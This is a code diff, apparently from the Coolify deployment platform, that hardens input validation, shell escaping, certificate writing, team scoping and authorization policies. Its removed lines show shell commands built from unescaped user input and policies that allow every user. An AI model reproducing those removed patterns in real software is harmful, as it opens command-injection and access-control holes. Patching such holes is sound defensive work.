$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
}
}
$base64_build_command = base64_encode($build_command);
@ -3332,7 +3371,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
$this->analyzeBuildTimeVariables($variables);
}
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
$this->generate_build_secrets($variables);
$this->build_args = '';
} else {
@ -3819,7 +3858,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
$this->application_deployment_queue->addLogEntry("Service {$serviceName}: All required ARG declarations already exist.");
}
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
$fullDockerfilePath = "{$this->workdir}/{$dockerfilePath}";
$this->modify_dockerfile_for_secrets($fullDockerfilePath);
$this->application_deployment_queue->addLogEntry("Modified Dockerfile for service {$serviceName} to use build secrets.");
@ -3879,6 +3918,18 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
return $composeFile;
}
private function validatePathField(string $value, string $fieldName): string
{
if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters.");
}
if (str_contains($value, '..')) {
throw new \RuntimeException("Invalid {$fieldName}: path traversal detected.");
}
return $value;
}
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {

View file

@ -15,7 +15,9 @@ use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Queue\SerializesModels;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Redis;
class ScheduledJobManager implements ShouldQueue
{
@ -54,6 +56,11 @@ class ScheduledJobManager implements ShouldQueue
*/
public function middleware(): array
{
// Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it.
// Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases.
// @see https://github.com/coollabsio/coolify/issues/8327
self::clearStaleLockIfPresent();
return [
(new WithoutOverlapping('scheduled-job-manager'))
->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks
@ -61,6 +68,34 @@ class ScheduledJobManager implements ShouldQueue
];
}
/**
* Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1).
*
* This provides continuous self-healing since it runs every time the job is dispatched.
* Stale locks permanently block all scheduled job executions with no user-visible error.
*/
private static function clearStaleLockIfPresent(): void
{
try {
$cachePrefix = config('cache.prefix', '');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager';
$ttl = Redis::connection('default')->ttl($lockKey);
if ($ttl === -1) {
Redis::connection('default')->del($lockKey);
Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [
'lock_key' => $lockKey,
]);
}
} catch (\Throwable $e) {
// Never let lock cleanup failure prevent the job from running
Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [
'error' => $e->getMessage(),
]);
}
}
public function handle(): void
{
// Freeze the execution time at the start of the job
@ -104,10 +139,17 @@ class ScheduledJobManager implements ShouldQueue
Log::channel('scheduled')->info('ScheduledJobManager completed', [
'execution_time' => $this->executionTime->toIso8601String(),
'duration_ms' => Carbon::now()->diffInMilliseconds($this->executionTime),
'duration_ms' => $this->executionTime->diffInMilliseconds(Carbon::now()),
'dispatched' => $this->dispatchedCount,
'skipped' => $this->skippedCount,
]);
// Write heartbeat so the UI can detect when the scheduler has stopped
try {
Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300);
} catch (\Throwable) {
// Non-critical; don't let heartbeat failure affect the job
}
}
private function processScheduledBackups(): void

View file

@ -73,7 +73,7 @@ class General extends Component
#[Validate(['string', 'nullable'])]
public ?string $dockerfile = null;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])]
public ?string $dockerfileLocation = null;
#[Validate(['string', 'nullable'])]
@ -85,7 +85,7 @@ class General extends Component
#[Validate(['string', 'nullable'])]
public ?string $dockerRegistryImageTag = null;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])]
public ?string $dockerComposeLocation = null;
#[Validate(['string', 'nullable'])]

View file

@ -163,10 +163,12 @@ class GithubPrivateRepository extends Component
'selected_repository_owner' => $this->selected_repository_owner,
'selected_repository_repo' => $this->selected_repository_repo,
'selected_branch_name' => $this->selected_branch_name,
'docker_compose_location' => $this->docker_compose_location,
], [
'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/',
'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/',
'selected_branch_name' => ['required', 'string', new ValidGitBranch],
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
]);
if ($validator->fails()) {

View file

@ -64,6 +64,7 @@ class GithubPrivateRepositoryDeployKey extends Component
'is_static' => 'required|boolean',
'publish_directory' => 'nullable|string',
'build_pack' => 'required|string',
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
];
protected function rules()
@ -75,6 +76,7 @@ class GithubPrivateRepositoryDeployKey extends Component
'is_static' => 'required|boolean',
'publish_directory' => 'nullable|string',
'build_pack' => 'required|string',
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
];
}

View file

@ -70,7 +70,7 @@ class PublicGitRepository extends Component
'publish_directory' => 'nullable|string',
'build_pack' => 'required|string',
'base_directory' => 'nullable|string',
'docker_compose_location' => 'nullable|string',
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
];
protected function rules()
@ -82,7 +82,7 @@ class PublicGitRepository extends Component
'publish_directory' => 'nullable|string',
'build_pack' => 'required|string',
'base_directory' => 'nullable|string',
'docker_compose_location' => 'nullable|string',
'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
'git_branch' => ['required', 'string', new ValidGitBranch],
];
}

View file

@ -16,19 +16,25 @@ class HealthChecks extends Component
#[Validate(['boolean'])]
public bool $healthCheckEnabled = false;
#[Validate(['string'])]
#[Validate(['string', 'in:http,cmd'])]
public string $healthCheckType = 'http';
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
public ?string $healthCheckCommand = null;
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
public string $healthCheckMethod;
#[Validate(['string'])]
#[Validate(['required', 'string', 'in:http,https'])]
public string $healthCheckScheme;
#[Validate(['string'])]
#[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])]
public string $healthCheckHost;
#[Validate(['nullable', 'string'])]
#[Validate(['nullable', 'integer', 'min:1', 'max:65535'])]
public ?string $healthCheckPort = null;
#[Validate(['string'])]
#[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])]
public string $healthCheckPath;
#[Validate(['integer'])]
@ -54,12 +60,14 @@ class HealthChecks extends Component
protected $rules = [
'healthCheckEnabled' => 'boolean',
'healthCheckPath' => 'string',
'healthCheckPort' => 'nullable|string',
'healthCheckHost' => 'string',
'healthCheckMethod' => 'string',
'healthCheckType' => 'string|in:http,cmd',
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS',
'healthCheckReturnCode' => 'integer',
'healthCheckScheme' => 'string',
'healthCheckScheme' => 'required|string|in:http,https',
'healthCheckResponseText' => 'nullable|string',
'healthCheckInterval' => 'integer|min:1',
'healthCheckTimeout' => 'integer|min:1',
@ -81,6 +89,8 @@ class HealthChecks extends Component
// Sync to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -98,6 +108,8 @@ class HealthChecks extends Component
} else {
// Sync from model
$this->healthCheckEnabled = $this->resource->health_check_enabled;
$this->healthCheckType = $this->resource->health_check_type ?? 'http';
$this->healthCheckCommand = $this->resource->health_check_command;
$this->healthCheckMethod = $this->resource->health_check_method;
$this->healthCheckScheme = $this->resource->health_check_scheme;
$this->healthCheckHost = $this->resource->health_check_host;
@ -116,9 +128,12 @@ class HealthChecks extends Component
public function instantSave()
{
$this->authorize('update', $this->resource);
$this->validate();
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -143,6 +158,8 @@ class HealthChecks extends Component
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -171,6 +188,8 @@ class HealthChecks extends Component
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;

View file

@ -49,9 +49,10 @@ class ResourceOperations extends Component
{
$this->authorize('update', $this->resource);
$new_destination = StandaloneDocker::find($destination_id);
$teamScope = fn ($q) => $q->where('team_id', currentTeam()->id);
$new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id);
if (! $new_destination) {
$new_destination = SwarmDocker::find($destination_id);
$new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id);
}
if (! $new_destination) {
return $this->addError('destination_id', 'Destination not found.');
@ -352,7 +353,7 @@ class ResourceOperations extends Component
{
try {
$this->authorize('update', $this->resource);
$new_environment = Environment::findOrFail($environment_id);
$new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id);
$this->resource->update([
'environment_id' => $environment_id,
]);

View file

@ -60,10 +60,16 @@ class Show extends Component
throw new \Exception('Certificate content cannot be empty.');
}
if (! openssl_x509_read($this->certificateContent)) {
$parsedCert = openssl_x509_read($this->certificateContent);
if (! $parsedCert) {
throw new \Exception('Invalid certificate format.');
}
if (! openssl_x509_export($parsedCert, $cleanedCertificate)) {
throw new \Exception('Failed to process certificate.');
}
$this->certificateContent = $cleanedCertificate;
if ($this->caCertificate) {
$this->caCertificate->ssl_certificate = $this->certificateContent;
$this->caCertificate->save();
@ -114,12 +120,14 @@ class Show extends Component
{
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($this->certificateContent);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -3,8 +3,13 @@
namespace App\Livewire\Server;
use App\Jobs\DockerCleanupJob;
use App\Models\DockerCleanupExecution;
use App\Models\Server;
use Cron\CronExpression;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Livewire\Attributes\Computed;
use Livewire\Attributes\Validate;
use Livewire\Component;
@ -34,6 +39,53 @@ class DockerCleanup extends Component
#[Validate('boolean')]
public bool $disableApplicationImageRetention = false;
#[Computed]
public function isCleanupStale(): bool
{
try {
$lastExecution = DockerCleanupExecution::where('server_id', $this->server->id)
->orderBy('created_at', 'desc')
->first();
if (! $lastExecution) {
return false;
}
$frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *';
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$cron = new CronExpression($frequency);
$now = Carbon::now();
$nextRun = Carbon::parse($cron->getNextRunDate($now));
$afterThat = Carbon::parse($cron->getNextRunDate($nextRun));
$intervalMinutes = $nextRun->diffInMinutes($afterThat);
$threshold = max($intervalMinutes * 2, 10);
return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold;
} catch (\Throwable) {
return false;
}
}
#[Computed]
public function lastExecutionTime(): ?string
{
return DockerCleanupExecution::where('server_id', $this->server->id)
->orderBy('created_at', 'desc')
->first()
?->created_at
?->diffForHumans();
}
#[Computed]
public function isSchedulerHealthy(): bool
{
return Cache::get('scheduled-job-manager:heartbeat') !== null;
}
public function mount(string $server_uuid)
{
try {

View file

@ -61,6 +61,8 @@ use Visus\Cuid2\Cuid2;
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
@ -990,7 +992,7 @@ class Application extends BaseModel
if (isDev() && data_get($this, 'private_key_id') === 0) {
return 'deploy_key';
}
if (data_get($this, 'private_key_id')) {
if (! is_null(data_get($this, 'private_key_id'))) {
return 'deploy_key';
} elseif (data_get($this, 'source')) {
return 'source';
@ -1959,16 +1961,6 @@ class Application extends BaseModel
}
}
public static function getDomainsByUuid(string $uuid): array
{
$application = self::where('uuid', $uuid)->first();
if ($application) {
return $application->fqdns;
}
return [];
}
public function getLimits(): array
{

View file

@ -237,7 +237,7 @@ class PrivateKey extends BaseModel
$testSuccess = $disk->put($testFilename, 'test');
if (! $testSuccess) {
throw new \Exception('SSH keys storage directory is not writable');
throw new \Exception('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
}
// Clean up test file

View file

@ -1452,12 +1452,14 @@ $schema://$host {
$certificateContent = $caCertificate->ssl_certificate;
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($certificateContent);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$certificateContent}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -88,7 +88,7 @@ class ServiceApplication extends BaseModel
public function team()
{
return data_get($this, 'environment.project.team');
return data_get($this, 'service.environment.project.team');
}
public function workdir()

View file

@ -124,7 +124,7 @@ class ServiceDatabase extends BaseModel
public function team()
{
return data_get($this, 'environment.project.team');
return data_get($this, 'service.environment.project.team');
}
public function workdir()

View file

@ -191,7 +191,8 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen
$this->getNotificationSettings('discord')?->isEnabled() ||
$this->getNotificationSettings('slack')?->isEnabled() ||
$this->getNotificationSettings('telegram')?->isEnabled() ||
$this->getNotificationSettings('pushover')?->isEnabled();
$this->getNotificationSettings('pushover')?->isEnabled() ||
$this->getNotificationSettings('webhook')?->isEnabled();
}
public function subscriptionEnded()

View file

@ -37,8 +37,7 @@ class StandaloneDockerPolicy
*/
public function update(User $user, StandaloneDocker $standaloneDocker): bool
{
// return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
return true;
return $user->teams->contains('id', $standaloneDocker->server->team_id);
}
/**
@ -46,8 +45,7 @@ class StandaloneDockerPolicy
*/
public function delete(User $user, StandaloneDocker $standaloneDocker): bool
{
// return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
return true;
return $user->teams->contains('id', $standaloneDocker->server->team_id);
}
/**
@ -55,8 +53,7 @@ class StandaloneDockerPolicy
*/
public function restore(User $user, StandaloneDocker $standaloneDocker): bool
{
// return false;
return true;
return false;
}
/**
@ -64,7 +61,6 @@ class StandaloneDockerPolicy
*/
public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool
{
// return false;
return true;
return false;
}
}

View file

@ -37,8 +37,7 @@ class SwarmDockerPolicy
*/
public function update(User $user, SwarmDocker $swarmDocker): bool
{
// return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
return true;
return $user->teams->contains('id', $swarmDocker->server->team_id);
}
/**
@ -46,8 +45,7 @@ class SwarmDockerPolicy
*/
public function delete(User $user, SwarmDocker $swarmDocker): bool
{
// return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
return true;
return $user->teams->contains('id', $swarmDocker->server->team_id);
}
/**
@ -55,8 +53,7 @@ class SwarmDockerPolicy
*/
public function restore(User $user, SwarmDocker $swarmDocker): bool
{
// return false;
return true;
return false;
}
/**
@ -64,7 +61,6 @@ class SwarmDockerPolicy
*/
public function forceDelete(User $user, SwarmDocker $swarmDocker): bool
{
// return false;
return true;
return false;
}
}

View file

@ -104,12 +104,14 @@ function sharedDataApplications()
'base_directory' => 'string|nullable',
'publish_directory' => 'string|nullable',
'health_check_enabled' => 'boolean',
'health_check_path' => 'string',
'health_check_port' => 'string|nullable',
'health_check_host' => 'string',
'health_check_method' => 'string',
'health_check_type' => 'string|in:http,cmd',
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'health_check_port' => 'integer|nullable|min:1|max:65535',
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS',
'health_check_return_code' => 'numeric',
'health_check_scheme' => 'string',
'health_check_scheme' => 'string|in:http,https',
'health_check_response_text' => 'string|nullable',
'health_check_interval' => 'numeric',
'health_check_timeout' => 'numeric',
@ -132,8 +134,8 @@ function sharedDataApplications()
'manual_webhook_secret_gitlab' => 'string|nullable',
'manual_webhook_secret_bitbucket' => 'string|nullable',
'manual_webhook_secret_gitea' => 'string|nullable',
'dockerfile_location' => 'string|nullable',
'docker_compose_location' => 'string',
'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'],
'docker_compose' => 'string|nullable',
'docker_compose_domains' => 'array|nullable',
'docker_compose_custom_start_command' => 'string|nullable',

View file

@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides =
$uuid = $overrides['uuid'] ?? (string) new Cuid2;
$server = $destination->server;
if ($server->team_id !== currentTeam()->id) {
throw new \RuntimeException('Destination does not belong to the current team.');
}
// Prepare name and URL
$name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid;
$applicationSettings = $source->settings;

View file

@ -11,6 +11,16 @@ use Spatie\Url\Url;
use Symfony\Component\Yaml\Yaml;
use Visus\Cuid2\Cuid2;
/**
* Generate a stable 4-character hash from a service name for uniqueness
* This is used to differentiate services like "api.test" and "api-test"
* which would otherwise collide when normalized.
*/
function serviceNameHash(string $serviceName): string
{
return substr(md5($serviceName), 0, 4);
}
function getCurrentApplicationContainerStatus(Server $server, int $id, ?int $pullRequestId = null, ?bool $includePullrequests = false): Collection
{
$containers = collect([]);
@ -139,8 +149,9 @@ function checkMinimumDockerEngineVersion($dockerVersion)
}
function executeInDocker(string $containerId, string $command)
{
return "docker exec {$containerId} bash -c '{$command}'";
// return "docker exec {$this->deployment_uuid} bash -c '{$command} |& tee -a /proc/1/fd/1; [ \$PIPESTATUS -eq 0 ] || exit \$PIPESTATUS'";
$escapedCommand = str_replace("'", "'\\''", $command);
return "docker exec {$containerId} bash -c '{$escapedCommand}'";
}
function getContainerStatus(Server $server, string $container_id, bool $all_data = false, bool $throwError = false)
@ -467,8 +478,13 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_
$http_label = "http-{$loop}-{$uuid}";
$https_label = "https-{$loop}-{$uuid}";
if ($service_name) {
$http_label = "http-{$loop}-{$uuid}-{$service_name}";
$https_label = "https-{$loop}-{$uuid}-{$service_name}";
// Normalize service name for Traefik labels by replacing dots with hyphens
// This prevents label parsing issues with service names like "api.test"
// Add a 4-char hash to ensure uniqueness for services like "api.test" vs "api-test"
$normalized_service_name = str($service_name)->replace('.', '-')->value();
$hash = serviceNameHash($service_name);
$http_label = "http-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";
$https_label = "https-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";
}
if (str($image)->contains('ghost')) {
$labels->push("traefik.http.middlewares.redir-ghost-{$uuid}.redirectregex.regex=^{$path}/(.*)");

View file

@ -601,24 +601,27 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
if ($resource->build_pack === 'dockercompose') {
// Check if a service with this name actually exists
$serviceExists = false;
$actualServiceName = null;
foreach ($services as $serviceNameKey => $service) {
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
if ($transformedServiceName === $serviceName) {
$serviceExists = true;
$actualServiceName = $serviceNameKey; // Store the ORIGINAL service name
break;
}
}
// Only add domain if the service exists
if ($serviceExists) {
if ($serviceExists && $actualServiceName) {
$domains = collect(json_decode(data_get($resource, 'docker_compose_domains'))) ?? collect([]);
$domainExists = data_get($domains->get($serviceName), 'domain');
// Use the ORIGINAL service name as the key to avoid collisions
$domainExists = data_get($domains->get($actualServiceName), 'domain');
// Update domain using URL with port if applicable
$domainValue = $port ? $urlWithPort : $url;
if (is_null($domainExists)) {
$domains->put($serviceName, [
$domains->put($actualServiceName, [
'domain' => $domainValue,
]);
$resource->docker_compose_domains = $domains->toJson();
@ -1077,8 +1080,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
if ($resource->build_pack !== 'dockercompose') {
$domains = collect([]);
}
$changedServiceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
$fqdns = data_get($domains, "$changedServiceName.domain");
// Use the original service name for lookup (no transformation needed)
$fqdns = data_get($domains, "$serviceName.domain");
// Generate SERVICE_FQDN & SERVICE_URL for dockercompose
if ($resource->build_pack === 'dockercompose') {
foreach ($domains as $forServiceName => $domain) {
@ -1233,7 +1236,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
uuid: $uuid,
domains: $fqdns,
is_force_https_enabled: true,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
is_gzip_enabled: $originalResource->isGzipEnabled(),
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
@ -1246,7 +1249,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
network: $network,
uuid: $uuid,
domains: $fqdns,
is_force_https_enabled: true,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
is_gzip_enabled: $originalResource->isGzipEnabled(),
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
@ -1260,7 +1263,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
uuid: $uuid,
domains: $fqdns,
is_force_https_enabled: true,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
is_gzip_enabled: $originalResource->isGzipEnabled(),
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
@ -1271,7 +1274,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
network: $network,
uuid: $uuid,
domains: $fqdns,
is_force_https_enabled: true,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
is_gzip_enabled: $originalResource->isGzipEnabled(),
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),

View file

@ -77,6 +77,7 @@ function allowedPathsForUnsubscribedAccounts()
'login',
'logout',
'force-password-reset',
'two-factor-challenge',
'livewire/update',
'admin',
];
@ -95,6 +96,7 @@ function allowedPathsForInvalidAccounts()
'logout',
'verify',
'force-password-reset',
'two-factor-challenge',
'livewire/update',
];
}

View file

@ -2,7 +2,7 @@
return [
'coolify' => [
'version' => '4.0.0-beta.463',
'version' => '4.0.0-beta.464',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.10',
'self_hosted' => env('SELF_HOSTED', true),

View file

@ -184,13 +184,13 @@ return [
'connection' => 'redis',
'balance' => env('HORIZON_BALANCE', 'false'),
'queue' => env('HORIZON_QUEUES', 'high,default'),
'maxTime' => 3600,
'maxTime' => env('HORIZON_MAX_TIME', 0),
'maxJobs' => 400,
'memory' => 128,
'tries' => 1,
'nice' => 0,
'sleep' => 3,
'timeout' => 3600,
'timeout' => env('HORIZON_TIMEOUT', 36000),
],
],

View file

@ -0,0 +1,101 @@
<?php
use App\Models\Application;
use Illuminate\Database\Migrations\Migration;
use Symfony\Component\Yaml\Yaml;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
// Migrate docker_compose_domains to use original service names instead of transformed ones
// This fixes collisions between services like "api.test" and "api-test"
Application::where('build_pack', 'dockercompose')
->whereNotNull('docker_compose_domains')
->chunk(100, function ($applications) {
foreach ($applications as $application) {
try {
$domains = collect(json_decode($application->docker_compose_domains, true));
if ($domains->isEmpty()) {
continue;
}
// Parse the compose file to get original service names
$compose = $application->parseCompose();
$services = data_get($compose, 'services', []);
if (empty($services)) {
continue;
}
// Create a mapping from transformed names to original names
$transformedToOriginal = [];
foreach ($services as $originalServiceName => $service) {
$transformedName = str($originalServiceName)->replace('-', '_')->replace('.', '_')->value();
$transformedToOriginal[$transformedName] = $originalServiceName;
}
// Migrate the domains to use original service names
$migratedDomains = collect();
foreach ($domains as $key => $value) {
// If the key is a transformed name, use the original name
if (isset($transformedToOriginal[$key])) {
$migratedDomains->put($transformedToOriginal[$key], $value);
} else {
// If we can't find a mapping, keep the original key
// (it might already be using the original service name)
$migratedDomains->put($key, $value);
}
}
// Update the application with migrated domains
$application->docker_compose_domains = $migratedDomains->toJson();
$application->save();
} catch (\Exception $e) {
// Log the error but continue with other applications
logger()->error('Failed to migrate docker_compose_domains for application '.$application->id.': '.$e->getMessage());
}
}
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
// Reverse the migration by transforming service names back
Application::where('build_pack', 'dockercompose')
->whereNotNull('docker_compose_domains')
->chunk(100, function ($applications) {
foreach ($applications as $application) {
try {
$domains = collect(json_decode($application->docker_compose_domains, true));
if ($domains->isEmpty()) {
continue;
}
// Transform all keys back to underscore format
$transformedDomains = collect();
foreach ($domains as $key => $value) {
$transformedKey = str($key)->replace('-', '_')->replace('.', '_')->value();
$transformedDomains->put($transformedKey, $value);
}
$application->docker_compose_domains = $transformedDomains->toJson();
$application->save();
} catch (\Exception $e) {
logger()->error('Failed to reverse migrate docker_compose_domains for application '.$application->id.': '.$e->getMessage());
}
}
});
}
};

View file

@ -0,0 +1,44 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
if (! Schema::hasColumn('applications', 'health_check_type')) {
Schema::table('applications', function (Blueprint $table) {
$table->text('health_check_type')->default('http')->after('health_check_enabled');
});
}
if (! Schema::hasColumn('applications', 'health_check_command')) {
Schema::table('applications', function (Blueprint $table) {
$table->text('health_check_command')->nullable()->after('health_check_type');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
if (Schema::hasColumn('applications', 'health_check_type')) {
Schema::table('applications', function (Blueprint $table) {
$table->dropColumn('health_check_type');
});
}
if (Schema::hasColumn('applications', 'health_check_command')) {
